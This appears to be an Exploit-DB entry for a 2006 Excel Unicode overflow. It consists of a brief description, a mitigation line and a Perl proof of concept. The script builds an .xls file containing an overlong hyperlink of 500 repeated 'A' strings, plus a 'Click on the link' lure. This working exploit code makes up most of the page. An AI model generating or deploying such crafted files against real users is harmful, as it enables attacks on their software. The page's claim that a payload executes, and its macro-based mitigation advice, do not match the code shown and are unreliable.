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Excel Unicode Overflow
119
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2006

excelsexywarez.pl

This exploit uses Spreadsheet::WriteExcel to create a malicious Excel file with a link containing 500 'A' characters. When the link is clicked, the malicious payload is executed.

Mitigation:

Disable macros in Excel, use a sandbox environment, and use antivirus software.
Source

Exploit-DB raw data:

###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spreadsheet::WriteExcel;

   my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

   $worksheet = $workbook->add_worksheet();

   $format = $workbook->add_format();
   $format->set_bold();
   $format->set_color('red');
   $format->set_align('center');

   $col = $row = 5;
   $worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format);

   $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
   $worksheet->write_url(0, 0, "$a", "LINK");

# milw0rm.com [2006-06-18]